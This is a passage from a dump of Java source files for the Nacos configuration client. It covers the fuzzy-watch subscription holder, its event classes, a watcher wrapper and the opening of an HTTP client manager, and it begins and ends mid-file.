com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\n\n/**\n * config fuzzy watch context holder.\n *\n * @author shiyiyue\n */\npublic class ConfigFuzzyWatchGroupKeyHolder extends SmartSubscriber implements Closeable {\n    \n    private static final Logger LOGGER = LogUtils.logger(ClientWorker.class);\n    \n    private final ClientWorker.ConfigRpcTransportClient agent;\n    \n    private final String clientUuid;\n    \n    /**\n     * fuzzyListenExecuteBell.\n     */\n    private final BlockingQueue<Object> fuzzyListenExecuteBell = new ArrayBlockingQueue<>(1);\n    \n    private final Object bellItem = new Object();\n    \n    private final AtomicLong fuzzyListenLastAllSyncTime = new AtomicLong(System.currentTimeMillis());\n    \n    private static final long FUZZY_LISTEN_ALL_SYNC_INTERNAL = 3 * 60 * 1000;\n\n    private ExecutorService fuzzyWatcherExecutor;\n\n    private String taskId = \"0\";\n    \n    /**\n     * fuzzyListenGroupKey -> fuzzyListenContext.\n     */\n    private final AtomicReference<Map<String, ConfigFuzzyWatchContext>> fuzzyListenContextMap = new AtomicReference<>(\n            new HashMap<>());\n    \n    public ConfigFuzzyWatchGroupKeyHolder(ClientWorker.ConfigRpcTransportClient agent, String clientUuid) {\n        this.clientUuid = clientUuid;\n        this.agent = agent;\n        NotifyCenter.registerSubscriber(this);\n    }\n    \n    /**\n     * start.\n     */\n    public void start() {\n        fuzzyWatcherExecutor = Executors.newSingleThreadScheduledExecutor(\n                new NameThreadFactory(\"com.alibaba.nacos.client.fuzzy-watcher-executor\")\n        );\n        fuzzyWatcherExecutor.submit(() -> {\n            while (!fuzzyWatcherExecutor.isShutdown() && !fuzzyWatcherExecutor.isTerminated()) {\n                try {\n                    fuzzyListenExecuteBell.poll(5L, TimeUnit.SECONDS);\n                    if (fuzzyWatcherExecutor.isShutdown() || fuzzyWatcherExecutor.isTerminated()) {\n                        continue;\n                    }\n                    executeConfigFuzzyListen();\n                } catch (Throwable e) {\n                    LOGGER.error(\"[rpc-fuzzy-listen-execute] rpc fuzzy listen exception\", e);\n                    try {\n                        Thread.sleep(500L);\n                    } catch (InterruptedException interruptedException) {\n                        //ignore\n                    }\n                    notifyFuzzyWatchSync();\n                }\n            }\n        });\n    }\n\n    /**\n     * Deregistering it from the NotifyCenter and shutting down the executor.\n     */\n    @Override\n    public void shutdown() {\n        // deregister subscriber which registered in constructor\n        NotifyCenter.deregisterSubscriber(this);\n        if (fuzzyWatcherExecutor != null && !fuzzyWatcherExecutor.isShutdown()) {\n            fuzzyWatcherExecutor.shutdown();\n        }\n    }\n    \n    /**\n     * Removes the fuzzy listen context for the specified data ID pattern and group.\n     *\n     * @param groupKeyPattern The pattern of the data ID.\n     */\n    public void removeFuzzyListenContext(String groupKeyPattern) {\n        synchronized (fuzzyListenContextMap) {\n            Map<String, ConfigFuzzyWatchContext> copy = new HashMap<>(fuzzyListenContextMap.get());\n            copy.remove(groupKeyPattern);\n            fuzzyListenContextMap.set(copy);\n        }\n        LOGGER.info(\"[{}] [fuzzy-watch-unsubscribe] {}\", agent.getName(), groupKeyPattern);\n    }\n    \n    /**\n     * register fuzzy watcher.\n     *\n     * @param dataIdPattern          dataIdPattern.\n     * @param groupPattern           groupPattern.\n     * @param fuzzyWatchEventWatcher fuzzyWatchEventWatcher.\n     * @return ConfigFuzzyWatchContext\n     */\n    public ConfigFuzzyWatchContext registerFuzzyWatcher(String dataIdPattern, String groupPattern,\n            FuzzyWatchEventWatcher fuzzyWatchEventWatcher) {\n        if (!agent.isAbilitySupportedByServer(AbilityKey.SERVER_FUZZY_WATCH)) {\n            throw new NacosRuntimeException(NacosException.SERVER_NOT_IMPLEMENTED,\n                    \"Request Nacos server version is too low, not support fuzzy watch feature.\");\n        }\n        ConfigFuzzyWatchContext configFuzzyWatchContext = initFuzzyWatchContextIfAbsent(dataIdPattern, groupPattern);\n        ConfigFuzzyWatcherWrapper configFuzzyWatcherWrapper = new ConfigFuzzyWatcherWrapper(fuzzyWatchEventWatcher);\n        if (configFuzzyWatchContext.addWatcher(configFuzzyWatcherWrapper)) {\n            if (configFuzzyWatchContext.getReceivedGroupKeys() != null) {\n                for (String groupKey : configFuzzyWatchContext.getReceivedGroupKeys()) {\n                    ConfigFuzzyWatchNotifyEvent configFuzzyWatchNotifyEvent = ConfigFuzzyWatchNotifyEvent.buildEvent(\n                            groupKey, configFuzzyWatchContext.getGroupKeyPattern(), ADD_CONFIG, FUZZY_WATCH_INIT_NOTIFY,\n                            this.clientUuid, configFuzzyWatcherWrapper.getUuid());\n                    NotifyCenter.publishEvent(configFuzzyWatchNotifyEvent);\n                }\n            }\n        }\n        return configFuzzyWatchContext;\n    }\n    \n    /**\n     * Retrieves the FuzzyListenContext for the given data ID pattern and group.\n     *\n     * @param dataIdPattern The data ID pattern.\n     * @param groupPattern  The group name pattern.\n     * @return The corresponding FuzzyListenContext, or null if not found.\n     */\n    public ConfigFuzzyWatchContext getFuzzyListenContext(String dataIdPattern, String groupPattern) {\n        return fuzzyListenContextMap.get()\n                .get(FuzzyGroupKeyPattern.generatePattern(dataIdPattern, groupPattern, agent.getTenant()));\n    }\n    \n    /**\n     * Handles a fuzzy listen init notify request.\n     *\n     * <p>This method processes the incoming fuzzy listen init notify request from a client. It updates the fuzzy\n     * listen context based on the request's information, and publishes events if necessary.\n     *\n     * @param request The fuzzy listen init notify request to handle.\n     * @return A {@link ConfigFuzzyWatchSyncResponse} indicating the result of handling the request.\n     */\n    ConfigFuzzyWatchSyncResponse handleFuzzyWatchSyncNotifyRequest(ConfigFuzzyWatchSyncRequest request) {\n        String groupKeyPattern = request.getGroupKeyPattern();\n        ConfigFuzzyWatchContext context = fuzzyListenContextMap.get().get(groupKeyPattern);\n        if (Constants.FINISH_FUZZY_WATCH_INIT_NOTIFY.equals(request.getSyncType())) {\n            LOGGER.info(\"[{}] [fuzzy-watch] init-notify-finished, pattern ->{}, match group keys count {}\",\n                    agent.getName(), request.getGroupKeyPattern(), context.getReceivedGroupKeysCount());\n            context.markInitializationComplete();\n            return new ConfigFuzzyWatchSyncResponse();\n        }\n        \n        LOGGER.info(\n                \"[{}] [fuzzy-watch] sync notify , pattern ->{},syncType={},,syncCount={},totalBatch={},currentBatch={}\",\n                agent.getName(), request.getGroupKeyPattern(), request.getSyncType(), request.getContexts().size(),\n                request.getTotalBatch(), request.getCurrentBatch());\n        \n        for (ConfigFuzzyWatchSyncRequest.Context requestContext : request.getContexts()) {\n            switch (requestContext.getChangedType()) {\n                case ADD_CONFIG:\n                    if (context.addReceivedGroupKey(requestContext.getGroupKey())) {\n                        LOGGER.info(\"[{}] [fuzzy-watch-diff-sync-push] local match group key added ,pattern ->{}, \"\n                                        + \"group key  ->{},publish fuzzy watch notify event\", agent.getName(),\n                                request.getGroupKeyPattern(), requestContext.getGroupKey());\n                        NotifyCenter.publishEvent(ConfigFuzzyWatchNotifyEvent.buildEvent(requestContext.getGroupKey(),\n                                request.getGroupKeyPattern(), requestContext.getChangedType(), request.getSyncType(),\n                                this.clientUuid));\n                    }\n                    break;\n                case DELETE_CONFIG:\n                    if (context.removeReceivedGroupKey(requestContext.getGroupKey())) {\n                        LOGGER.info(\"[{}] [fuzzy-watch-diff-sync-push] local match group key remove ,pattern ->{}, \"\n                                        + \"group key  ->{},publish fuzzy watch notify event\", agent.getName(),\n                                request.getGroupKeyPattern(), requestContext.getGroupKey());\n                        NotifyCenter.publishEvent(ConfigFuzzyWatchNotifyEvent.buildEvent(requestContext.getGroupKey(),\n                                request.getGroupKeyPattern(), requestContext.getChangedType(), request.getSyncType(),\n                                this.clientUuid));\n                    }\n                    break;\n                default:\n                    LOGGER.warn(\"Invalid config change type: {}\", requestContext.getChangedType());\n                    break;\n            }\n        }\n        return new ConfigFuzzyWatchSyncResponse();\n    }\n    \n    /**\n     * Removes a fuzzy listen listener for the specified data ID pattern, group, and listener.\n     *\n     * @param dataIdPattern The pattern of the data ID.\n     * @param groupPattern  The group of the configuration.\n     * @param watcher       The listener to remove.\n     * @throws NacosException If an error occurs while removing the listener.\n     */\n    public void removeFuzzyWatcher(String dataIdPattern, String groupPattern, FuzzyWatchEventWatcher watcher) {\n        ConfigFuzzyWatchContext configFuzzyWatchContext = getFuzzyListenContext(dataIdPattern, groupPattern);\n        if (configFuzzyWatchContext != null) {\n            synchronized (configFuzzyWatchContext) {\n                configFuzzyWatchContext.removeWatcher(watcher);\n                if (configFuzzyWatchContext.getConfigFuzzyWatcherWrappers().isEmpty()) {\n                    configFuzzyWatchContext.setDiscard(true);\n                    configFuzzyWatchContext.setConsistentWithServer(false);\n                }\n            }\n        }\n    }\n    \n    /**\n     * Handles a fuzzy listen notify change request.\n     *\n     * <p>This method processes the incoming fuzzy listen notify change request from a client. It updates the fuzzy\n     * listen context based on the request's information, and publishes events if necessary.\n     *\n     * @param request The fuzzy listen notify change request to handle.\n     */\n    ConfigFuzzyWatchChangeNotifyResponse handlerFuzzyWatchChangeNotifyRequest(\n            ConfigFuzzyWatchChangeNotifyRequest request) {\n        \n        LOGGER.info(\"[{}] [fuzzy-watch-change-notify-push] changeType={},groupKey={}\", agent.getName(),\n                request.getChangeType(), request.getGroupKey());\n        \n        Map<String, ConfigFuzzyWatchContext> listenContextMap = fuzzyListenContextMap.get();\n        String[] groupItems = GroupKey.parseKey(request.getGroupKey());\n        Set<String> matchedPatterns = FuzzyGroupKeyPattern.filterMatchedPatterns(listenContextMap.keySet(),\n                groupItems[0], groupItems[1], groupItems[2]);\n        for (String matchedPattern : matchedPatterns) {\n            ConfigFuzzyWatchContext context = listenContextMap.get(matchedPattern);\n            if (ADD_CONFIG.equals(request.getChangeType()) || CONFIG_CHANGED.equals(request.getChangeType())) {\n                if (context.addReceivedGroupKey(request.getGroupKey())) {\n                    LOGGER.info(\"[{}] [fuzzy-watch-change-notify-push] match group key added ,pattern={},groupKey={}\",\n                            agent.getName(), request.getChangeType(), request.getGroupKey());\n                    \n                    NotifyCenter.publishEvent(\n                            ConfigFuzzyWatchNotifyEvent.buildEvent(request.getGroupKey(), matchedPattern, ADD_CONFIG,\n                                    FUZZY_WATCH_RESOURCE_CHANGED, this.clientUuid));\n                }\n            } else if (DELETE_CONFIG.equals(request.getChangeType()) && context.removeReceivedGroupKey(\n                    request.getGroupKey())) {\n                NotifyCenter.publishEvent(ConfigFuzzyWatchNotifyEvent.buildEvent(request.getGroupKey(), matchedPattern,\n                        Constants.ConfigChangedType.DELETE_CONFIG, FUZZY_WATCH_RESOURCE_CHANGED, this.clientUuid));\n                \n            }\n        }\n        return new ConfigFuzzyWatchChangeNotifyResponse();\n    }\n    \n    void notifyFuzzyWatchSync() {\n        fuzzyListenExecuteBell.offer(bellItem);\n        \n    }\n    \n    /**\n     * Execute fuzzy listen configuration changes.\n     *\n     * <p>This method iterates through all fuzzy listen contexts and determines whether they need to be added or\n     * removed based on their consistency with the server and discard status. It then calls the appropriate method to\n     * execute the fuzzy listen operation.\n     *\n     * @throws NacosException If an error occurs during the execution of fuzzy listen configuration changes.\n     */\n    public void executeConfigFuzzyListen() throws NacosException {\n        \n        // Obtain the current timestamp\n        long now = System.currentTimeMillis();\n        \n        // Determine whether a full synchronization is needed\n        boolean needAllSync = now - fuzzyListenLastAllSyncTime.get() >= FUZZY_LISTEN_ALL_SYNC_INTERNAL;\n        \n        List<ConfigFuzzyWatchContext> needSyncContexts = new ArrayList<>();\n        // Iterate through all fuzzy listen contexts\n        for (ConfigFuzzyWatchContext context : fuzzyListenContextMap.get().values()) {\n            // Check if the context is consistent with the server\n            if (context.isConsistentWithServer()) {\n                context.syncFuzzyWatchers();\n                // Skip if a full synchronization is not needed\n                if (!needAllSync) {\n                    continue;\n                }\n            }\n            \n            needSyncContexts.add(context);\n        }\n        \n        // Execute fuzzy listen operation for addition\n        doExecuteConfigFuzzyListen(needSyncContexts);\n        \n        // Update last all sync time if a full synchronization was performed\n        if (needAllSync) {\n            fuzzyListenLastAllSyncTime.set(now);\n        }\n    }\n    \n    void resetConsistenceStatus() {\n        Collection<ConfigFuzzyWatchContext> configFuzzyWatchContexts = fuzzyListenContextMap.get().values();\n        \n        for (ConfigFuzzyWatchContext context : configFuzzyWatchContexts) {\n            context.setConsistentWithServer(false);\n        }\n    }\n    \n    /**\n     * Execute fuzzy listen configuration changes for a specific map of contexts.\n     *\n     * <p>This method submits tasks to execute fuzzy listen operations asynchronously for the provided contexts. It\n     * waits for all tasks to complete and logs any errors that occur.\n     *\n     * @param contextLists The map of contexts to execute fuzzy listen operations for.\n     * @throws NacosException If an error occurs during the execution of fuzzy listen configuration changes.\n     */\n    private void doExecuteConfigFuzzyListen(List<ConfigFuzzyWatchContext> contextLists) throws NacosException {\n        // Return if the context map is null or empty\n        if (CollectionUtils.isEmpty(contextLists)) {\n            return;\n        }\n        \n        // List to hold futures for asynchronous tasks\n        List<Future<?>> listenFutures = new ArrayList<>();\n        \n        RpcClient rpcClient = agent.ensureRpcClient(taskId);\n        \n        // Iterate through the context map and submit tasks for execution\n        for (ConfigFuzzyWatchContext context : contextLists) {\n            ExecutorService executorService = agent.getExecutor();\n            // Submit task for execution\n            Future<?> future = executorService.submit(() -> executeFuzzyWatchRequest(context, rpcClient));\n            listenFutures.add(future);\n        }\n        \n        // Wait for all tasks to complete\n        for (Future<?> future : listenFutures) {\n            try {\n                future.get();\n            } catch (Throwable throwable) {\n                // Log async listen error\n                LOGGER.error(\"Async fuzzy listen config change error.\", throwable);\n            }\n        }\n    }\n    \n    void executeFuzzyWatchRequest(ConfigFuzzyWatchContext context, RpcClient rpcClient) {\n        ConfigFuzzyWatchRequest configFuzzyWatchRequest = buildFuzzyListenConfigRequest(context);\n        try {\n            // Execute the fuzzy listen operation\n            ConfigFuzzyWatchResponse listenResponse = (ConfigFuzzyWatchResponse) agent.requestProxy(rpcClient,\n                    configFuzzyWatchRequest);\n            if (listenResponse != null && listenResponse.isSuccess()) {\n                \n                if (context.isDiscard()) {\n                    removeFuzzyListenContext(context.getGroupKeyPattern());\n                } else {\n                    context.setConsistentWithServer(true);\n                }\n                \n                context.clearOverLimitTs();\n            } else if (listenResponse != null) {\n                if (handleOverLoadEvent(context.getGroupKeyPattern(), listenResponse.getErrorCode())) {\n                    return;\n                }\n                LOGGER.error(\"Execute  fuzzy watch config change error,code={},msg={}\", listenResponse.getErrorCode(),\n                        listenResponse.getMessage());\n            }\n            \n        } catch (NacosException e) {\n            if (handleOverLoadEvent(context.getGroupKeyPattern(), e.getErrCode())) {\n                return;\n            }\n            // Log error and retry after a short delay\n            LOGGER.error(\"Execute  fuzzy watch config change error.\", e);\n            // Retry notification\n            notifyFuzzyWatchSync();\n            \n        }\n    }\n    \n    private boolean handleOverLoadEvent(String pattern, int errorCode) {\n        if (FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode() == errorCode\n                || FUZZY_WATCH_PATTERN_MATCH_COUNT_OVER_LIMIT.getCode() == errorCode) {\n            LOGGER.warn(\" fuzzy watch pattern over limit,pattern ->{} ,fuzzy watch will be suppressed\", pattern);\n            NotifyCenter.publishEvent(ConfigFuzzyWatchLoadEvent.buildEvent(errorCode, pattern, this.clientUuid));\n            return true;\n        }\n        return false;\n    }\n    \n    /**\n     * Builds a request for fuzzy listen configuration.\n     *\n     * @param context The list of fuzzy listen contexts.\n     * @return A {@code ConfigBatchFuzzyListenRequest} object representing the request.\n     */\n    private ConfigFuzzyWatchRequest buildFuzzyListenConfigRequest(ConfigFuzzyWatchContext context) {\n        ConfigFuzzyWatchRequest request = new ConfigFuzzyWatchRequest();\n        request.setGroupKeyPattern(context.getGroupKeyPattern());\n        request.setInitializing(context.isInitializing());\n        request.setWatchType((context.isDiscard() && CollectionUtils.isEmpty(context.getConfigFuzzyWatcherWrappers()))\n                ? WATCH_TYPE_CANCEL_WATCH : WATCH_TYPE_WATCH);\n        request.setReceivedGroupKeys(context.getReceivedGroupKeys());\n        return request;\n    }\n    \n    /**\n     * Adds a fuzzy listen context if it doesn't already exist for the specified data ID pattern and group. If the\n     * context already exists, returns the existing context.\n     *\n     * @param dataIdPattern The pattern of the data ID.\n     * @param groupPattern  The group of the configuration.\n     * @return The fuzzy listen context for the specified data ID pattern and group.\n     */\n    private ConfigFuzzyWatchContext initFuzzyWatchContextIfAbsent(String dataIdPattern, String groupPattern) {\n        ConfigFuzzyWatchContext context = getFuzzyListenContext(dataIdPattern, groupPattern);\n        if (context != null) {\n            return context;\n        }\n        synchronized (fuzzyListenContextMap) {\n            ConfigFuzzyWatchContext contextFromMap = getFuzzyListenContext(dataIdPattern, groupPattern);\n            if (contextFromMap != null) {\n                context = contextFromMap;\n            } else {\n                String groupKeyPattern = FuzzyGroupKeyPattern.generatePattern(dataIdPattern, groupPattern,\n                        agent.getTenant());\n                context = new ConfigFuzzyWatchContext(agent.getName(), groupKeyPattern);\n                context.setConsistentWithServer(false);\n                Map<String, ConfigFuzzyWatchContext> copy = new HashMap<>(fuzzyListenContextMap.get());\n                copy.put(groupKeyPattern, context);\n                LOGGER.info(\"[{}][fuzzy-watch] init fuzzy watch context , groupKeyPattern={} ,notify fuzzy watch sync \",\n                        agent.getName(), groupKeyPattern);\n                fuzzyListenContextMap.set(copy);\n                notifyFuzzyWatchSync();\n            }\n        }\n        \n        return context;\n    }\n    \n    @Override\n    public List<Class<? extends Event>> subscribeTypes() {\n        List<Class<? extends Event>> result = new LinkedList<>();\n        result.add(ConfigFuzzyWatchNotifyEvent.class);\n        result.add(ConfigFuzzyWatchLoadEvent.class);\n        return result;\n    }\n    \n    @Override\n    public void onEvent(Event event) {\n        \n        if (event instanceof ConfigFuzzyWatchNotifyEvent) {\n            \n            ConfigFuzzyWatchNotifyEvent configFuzzyWatchNotifyEvent = (ConfigFuzzyWatchNotifyEvent) event;\n            if (!configFuzzyWatchNotifyEvent.getClientUuid().equals(clientUuid)) {\n                return;\n            }\n            \n            ConfigFuzzyWatchContext context = fuzzyListenContextMap.get()\n                    .get(configFuzzyWatchNotifyEvent.getGroupKeyPattern());\n            if (context == null) {\n                return;\n            }\n            \n            context.notifyWatcher(configFuzzyWatchNotifyEvent.getGroupKey(),\n                    configFuzzyWatchNotifyEvent.getChangedType(), configFuzzyWatchNotifyEvent.getSyncType(),\n                    configFuzzyWatchNotifyEvent.getWatcherUuid());\n        }\n        \n        if (event instanceof ConfigFuzzyWatchLoadEvent) {\n            ConfigFuzzyWatchLoadEvent loadEvent = (ConfigFuzzyWatchLoadEvent) event;\n            \n            //instance check\n            if (!loadEvent.getClientUuid().equals(clientUuid)) {\n                return;\n            }\n            \n            ConfigFuzzyWatchContext context = fuzzyListenContextMap.get().get(loadEvent.getGroupKeyPattern());\n            if (context == null) {\n                return;\n            }\n            \n            context.notifyLoaderWatcher(loadEvent.getCode());\n        }\n        \n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigFuzzyWatchLoadEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * event published when a fuzzy watch pattern being suppressed because of pattern count or pattern matched config count  is over limit.\n * @author shiyiyue\n * @date 2025/01/13\n */\npublic class ConfigFuzzyWatchLoadEvent extends Event {\n    \n    private String clientUuid;\n    \n    /**\n     * The groupKeyPattern of configuration.\n     */\n    private String groupKeyPattern;\n    \n    private int code;\n    \n    /**\n     * Constructs a new ConfigFuzzyWatchLoadEvent.\n     */\n    public ConfigFuzzyWatchLoadEvent() {\n    }\n    \n    /**\n     * Constructs a new FuzzyListenNotifyEvent with the specified group, dataId, and type.\n     *\n     * @param code            The type of notification.\n     * @param groupKeyPattern The groupKeyPattern of notification.\n     */\n    private ConfigFuzzyWatchLoadEvent(int code, String groupKeyPattern, String clientUuid) {\n        this.code = code;\n        this.groupKeyPattern = groupKeyPattern;\n        this.clientUuid = clientUuid;\n    }\n    \n    /**\n     * Builds a new FuzzyListenNotifyEvent with the specified group, dataId, and type.\n     *\n     * @param groupKeyPattern The groupKey of the configuration.\n     * @return A new FuzzyListenNotifyEvent instance.\n     */\n    public static ConfigFuzzyWatchLoadEvent buildEvent(int code, String groupKeyPattern, String clientUuid) {\n        return new ConfigFuzzyWatchLoadEvent(code, groupKeyPattern, clientUuid);\n    }\n    \n    public String getClientUuid() {\n        return clientUuid;\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    public int getCode() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigFuzzyWatchNotifyEvent.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.common.notify.Event;\n\n/**\n * Event class for fuzzy listen notifications.\n *\n * <p>This class represents an event used for notifying fuzzy listen changes. It extends {@link Event}, indicating\n * that it may be processed asynchronously. The event contains information about the group, dataId, type, and UUID of\n * the notification.\n *\n * @author stone-98\n * @date 2024/3/4\n */\npublic class ConfigFuzzyWatchNotifyEvent extends Event {\n    \n    private String clientUuid;\n    \n    /**\n     * The uuid of this watcher for which that this notify event .\n     */\n    private String watcherUuid;\n    \n    /**\n     * The groupKeyPattern of configuration.\n     */\n    private String groupKeyPattern;\n    \n    private String groupKey;\n    \n    /**\n     * The type of notification (e.g., ADD_CONFIG, DELETE_CONFIG).\n     */\n    private String changedType;\n    \n    private String syncType;\n    \n    /**\n     * Constructs a new FuzzyListenNotifyEvent.\n     */\n    public ConfigFuzzyWatchNotifyEvent() {\n    }\n    \n    /**\n     * Constructs a new FuzzyListenNotifyEvent with the specified group, dataId, and type.\n     *\n     * @param groupKey    The groupKey of the configuration.\n     * @param changedType The type of notification.\n     */\n    private ConfigFuzzyWatchNotifyEvent(String groupKey, String changedType, String syncType, String groupKeyPattern,\n            String clientUuid, String watcherUuid) {\n        this.groupKey = groupKey;\n        this.syncType = syncType;\n        this.changedType = changedType;\n        this.groupKeyPattern = groupKeyPattern;\n        this.clientUuid = clientUuid;\n        this.watcherUuid = watcherUuid;\n    }\n    \n    /**\n     * Builds a new FuzzyListenNotifyEvent with the specified group, dataId, and type.\n     *\n     * @param groupKey The groupKey of the configuration.\n     * @return A new FuzzyListenNotifyEvent instance.\n     */\n    public static ConfigFuzzyWatchNotifyEvent buildEvent(String groupKey,\n            String groupKeyPattern, String changedType, String syncType, String clientUuid) {\n        return buildEvent(groupKey, groupKeyPattern, changedType, syncType, clientUuid, null);\n    }\n    \n    /**\n     * Builds a new FuzzyListenNotifyEvent with the specified group, dataId, and type.\n     *\n     * @param groupKey The groupKey of the configuration.\n     * @return A new FuzzyListenNotifyEvent instance.\n     */\n    public static ConfigFuzzyWatchNotifyEvent buildEvent(String groupKey,\n            String groupKeyPattern, String changedType, String syncType, String clientUuid, String watcherUuid) {\n        ConfigFuzzyWatchNotifyEvent configFuzzyWatchNotifyEvent = new ConfigFuzzyWatchNotifyEvent(groupKey, changedType,\n                syncType, groupKeyPattern, clientUuid, watcherUuid);\n        return configFuzzyWatchNotifyEvent;\n    }\n    \n    /**\n     * Gets the UUID (Unique Identifier) of the listener.\n     *\n     * @return The UUID of the listener.\n     */\n    public String getWatcherUuid() {\n        return watcherUuid;\n    }\n    \n    public String getClientUuid() {\n        return clientUuid;\n    }\n    \n    public String getGroupKeyPattern() {\n        return groupKeyPattern;\n    }\n    \n    public String getGroupKey() {\n        return groupKey;\n    }\n    \n    public String getSyncType() {\n        return syncType;\n    }\n    \n    /**\n     * Gets the type of notification.\n     *\n     * @return The type of notification.\n     */\n    public String getChangedType() {\n        return changedType;\n    }\n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigFuzzyWatcherWrapper.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.config.listener.FuzzyWatchEventWatcher;\n\nimport java.util.HashSet;\nimport java.util.Objects;\nimport java.util.Set;\nimport java.util.UUID;\n\n/**\n * ConfigFuzzyWatcherWrapper.\n *\n * @author shiyiyue\n */\npublic class ConfigFuzzyWatcherWrapper {\n    \n    long syncVersion = 0;\n    \n    FuzzyWatchEventWatcher fuzzyWatchEventWatcher;\n    \n    public ConfigFuzzyWatcherWrapper(FuzzyWatchEventWatcher fuzzyWatchEventWatcher) {\n        this.fuzzyWatchEventWatcher = fuzzyWatchEventWatcher;\n    }\n    \n    /**\n     * Unique identifier for the listener.\n     */\n    String uuid = UUID.randomUUID().toString();\n    \n    private Set<String> syncGroupKeys = new HashSet<>();\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigFuzzyWatcherWrapper that = (ConfigFuzzyWatcherWrapper) o;\n        return Objects.equals(fuzzyWatchEventWatcher, that.fuzzyWatchEventWatcher) && Objects.equals(uuid, that.uuid);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(fuzzyWatchEventWatcher, uuid);\n    }\n    \n    Set<String> getSyncGroupKeys() {\n        return syncGroupKeys;\n    }\n    \n    /**\n     * Get the UUID (Unique Identifier) of the listener.\n     *\n     * @return The UUID of the listener\n     */\n    String getUuid() {\n        return uuid;\n    }\n    \n}\n"
  },
  {
    "path": "client/src/main/java/com/alibaba/nacos/client/config/impl/ConfigHttpClientManager.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.config.impl;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.utils.LogUtils;\nimport com.alibaba.nacos.client.utils.ParamUtil;\nimport com.alibaba.nacos.common.http.AbstractHttpClientFactory;\nimport com.alibaba.nacos.common.http.HttpClientBeanHolder;\nimport com.alibaba.nacos.common.http.HttpClientConfig;\nimport com.alibaba.nacos.common.http.HttpClientFactory;\nimport com.alibaba.nacos.common.http.client.HttpClientRequestInterceptor;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.client.response.HttpClientResponse;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.common.lifecycle.Closeable;\nimport com.alibaba.nacos.common.model.RequestHttpEntity;\nimport com.alibaba.nacos.common.utils.ExceptionUtil;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.MD5Utils;\nimport org.slf4j.Logger;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URI;\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\n\nimport static com.alibaba.nacos.client.utils.LogUtils.NAMING_LOGGER;\n\n/**\n * config http Manager.\n *\n * @author mai.jh\n */\npublic class ConfigHttpClientManager implements Closeable {\n    \n    private static final Logger LOGGER = LogUtils.logger(ConfigHttpClientManager.class);\n    \n    private static final HttpClientFactory HTTP_CLIENT_FACTORY = new ConfigHttpClientFactory();\n    \n    private static final int CON_TIME_OUT_MILLIS = ParamUtil.getConnectTimeout();\n    \n    private static final int READ_TIME_OUT_MILLIS = ParamUtil.getReadTimeout();\n    \n    private final LimiterHttpClientRequestInterceptor limiterHttpClientRequestInterceptor = new LimiterHttpClientRequestInterceptor();\n    \n    private static class ConfigHttpClientManagerInstance {\n        \n        private static final ConfigHttpClientManager INSTANCE = new ConfigHttpClientManager();\n    }\n    \n    public static ConfigHttpClientManager getInstance() {\n        return ConfigHttpClientManagerInstance.INSTANCE;\n    }\n    \n    @Override\n    public void shutdown() throws NacosException {\n        NAMING_LOGGER.info(\"[ConfigHttpClientManager] Start destroying NacosRestTemplate\");\n        try {\n            